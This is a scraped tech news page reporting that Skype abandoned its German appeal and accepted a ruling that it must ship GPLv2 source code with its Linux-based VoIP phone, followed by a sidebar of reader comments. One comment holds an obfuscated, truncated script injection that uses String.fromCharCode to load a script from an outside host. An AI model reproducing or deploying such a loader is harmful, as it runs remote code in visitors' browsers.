Skype agrees to obey GPL

 

Summary

The company has abandoned its appeal against a German ruling that it must supply source code with Linux-based VoIP phones, in compliance with GPLv2.

Events

Social Media World Forum
22 - 23 Sep 2010

Suntec, Singapore

Asia CXO Leadership Summit - Singapore
7 Sep 2010

Marriott Hotel, Singapore

Governmentware 2010
28 - 30 Sep 2010

Suntec, Singapore

The 5th Annual CIO Forum Asia
28 Sep 2010

Singapore

IDC's Asia/Pacific Cloud Computing Conference 2010
31 Aug 2010

Marriott Hotel, Singapore

Skype has abandoned its efforts to avoid complying with an open-source license that requires it to provide source code with Linux-based VoIP phones.

The company has dropped its appeal against its conviction last July in a German court of failure to comply with the General Public License version 2 (GPLv2). The license requires vendors to ship source code with any open-source product, but Skype's WSKP100 phone was sold without giving users access to the source code, according to a case brought by gpl-violations.org, a group policing open-source license violations.

Skype's appeal argued that the GPL license was not valid in Germany, claiming that GPL breaks the country's antitrust laws. This was thrown out by the appeals court and Skype has abandoned its efforts to overturn the conviction, according to software developer Harald Welte, who runs gpl-violations.org.

"In the end, the court hinted twice that, if it was to judge about the case, Skype would not have very high chances," said Welte in his blog. "After a short break, Skype decided to revoke their appeals case and accept the previous judgement of the lower court as the final judgement."

Skype's appeal made this the most lengthy of a series of cases that Welte has brought against vendors. The court suggested the two parties might "reach an agreement", but Welte is only interested in seeing GPL upheld, precluding that as an option.

While Skype might feel its users do not need access to the source code and are unlikely to use it, the company must abide by the license requirements, the judges said. If a writer set a condition that his book should only be published in a green cover and there is no other agreement in place, then publishers would have to abide by the green cover--no matter how silly it seems--one of the judges said.

Welte is very definitely aiming to make sure the agreement is followed. "We're not interested in settling for anything less than full GPL compliance," he said.

"To all those who don't like the license: you don't have to use it; just write your own code. But, if you want to use GPL code, the license comes with it. It's a package deal," said Pamela Jones of Groklaw.

Talkback

Add your opinion

In order to post a comment, you need to be registered. (Sign In or register below)

Post your comment
HP Data Protector delivers high-performance data protection at up to 70% lower TCO.
Tech Vendor: HP
Did you know?
Did you know?

ZDNet Asia Live

RT @zdnetasia: SD revamp to triple flash card speeds in 2012 http://bit.ly/d5QlHD

15 minutes ago by amine5a on topsy

Texas opens antitrust investigation of Google http://bit.ly/bjMQ7J | #Droid #Android

Asia News - SD revamp to triple flash card speeds in 2012: The SD Association should rev its fla... http://bit.ly/a5isKD - #AsiaToday #News

UN exec: Cyberwar could be 'worse than tsunami' http://bit.ly/alV2dB #SMO

#Software UN exec: Cyberwar could be 'worse than tsunami': #Software Rally Software Development on ZDNet Asia: ZDN... http://bit.ly/dwqy7v

UN exec: Cyberwar could be 'worse than tsunami' http://bit.ly/aHYDVc #Android #news

UN exec: Cyberwar could be 'worse than tsunami': By David Meyer, ZDNet UK on September 6, 2010 (3 minutes ago) Pro... http://bit.ly/bTnxhB

Asia News - U.N. exec: Cyberwar could be 'worse than tsunami': Proposal for a global "cyberpeace... http://bit.ly/c3jCv8 - #AsiaToday #News

1 hour 9 minutes ago by asiatodaynews on topsy

Asia News - Google settles Buzz lawsuit for US$8.5M: Internet privacy groups will be the benefic... http://bit.ly/dg0FSU - #AsiaToday #News

1 hour 9 minutes ago by asiatodaynews on topsy

Google settles Buzz lawsuit for US$8.5M http://bit.ly/cuIXdN

1 hour 16 minutes ago by legal_lawyer on topsy

Sadly still "talking" & not what's been successful RT @MarketingEds: $1.8B potential for location-based advertising http://bit.ly/dhllCC

SingTel brings social media monitoring tool to SMBs - Software - News http://bit.ly/bc5kLv (Hmm....?)

iPad apps for enterprise users ~ http://bit.ly/as3LP3

#Software Rally Software Development on ZDNet Asia: ZDNet / Topics / Rally Software Development. Rally Software De... http://bit.ly/cedVF1

Should I d/l Angry Bird for Android (it's out!), risking wrinkles frm overplaying? See @zdnetasia's sister site's take http://bit.ly/bwdGR7

Er! Isn't Windows the thing I open when I need more air in the room? :) More seriously, Linux will require more time against the marketi...

20 hours 5 minutes ago by commtech on 10 reasons why Linux will oust Windows

Korean phone makers rank among greenest: Korean phone makers LG and Samsung have managed to rank among the top fiv... http://bit.ly/aIHEuz

RT @adtrend: $1.8B potential for location-based advertising: Location-based advertising is still in its infancy, but come 2015,... http://bit.ly/aKBpOx

RT @adtrend: $1.8B potential for location-based advertising: Location-based advertising is still in its infancy, but come 2015,... http://bit.ly/aKBpOx

I guess MySpace is losing its popularity worldwide.

1 day 56 minutes ago by fanaticore on Facebook top social networking site in India

Thank you all so much for your comments and support


malaysia

1 day 50 minutes ago by whiyney on DiGi offers mobile TV

can u provide me with a bit more details abut cellonics whether its been implemented or not?
my email id is electromaniac21@yahoo.com

1 day 1 minute ago by ayaz21 on Data transfer 1,000 times faster?

At least the train is turning toward the right track. I have to get the methodology worked out. Navigators are great but I have a tend...

2 days 15 minutes ago by texasjustice on Define your project's vision with this exercise

document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,103,101,109,98,104,101,108,46,5...

2 days 52 minutes ago by gembhel on Can a contract be concluded by e-mail?

Hi, I came to know about ValleSpeak MPP Viewer from one of my friend, and i started using it. It is very good and it's easy to use and co...

2 days 18 minutes ago by shalonmiller on Agile drivers for new project management tools

People around the world today are using smart cards for debit and credit payments. Contactless payment applications are gaining momentum ...

2 days 24 minutes ago by simagetechnolgies on Contactless payment industry hit with growth pains

need more

2 days 2 minutes ago by jepsy on Is it too late to introduce 3G in India?

I recommend checking 5pm for a good project management tool. (www.5pmweb.com). It makes the team collaboration easy and is friendly enou...

3 days 20 minutes ago by Erica on Agile drivers for new project management tools

I am a student researching piracy for my computer course. My mother owns an epublishing company. Ebook piracy is also a huge problem in h...

3 days 33 minutes ago by tasha6669 on SaaS no silver bullet for piracy

For more information regarding the lawsuit and the patents involved, check out Sunlight Research's upcoming webinar "Will Oracle’s Java...

3 days 58 minutes ago by Sunlight on Legal woes no impact on Android ecosystem yet

Google search does not seem to be made for 5 years old kids,anyway your child will learn to say and understand the meaning of this senten...

3 days 12 minutes ago by irajjs on Facing reality from a Google search about Echo of Amboseli

Another project software is http://www.proofhub.com/. I have used it and it is really good. It contains many new features which you can u...

3 days 7 minutes ago by Barry on Check out Project alternatives: Basecamp and QuickBase

But iTunes music does not apply to Asia. We STILL CAN'T BUY music from iTunes!!!

4 days 1 minute ago by maxxtotal on Study: Music, not apps, rules iTunes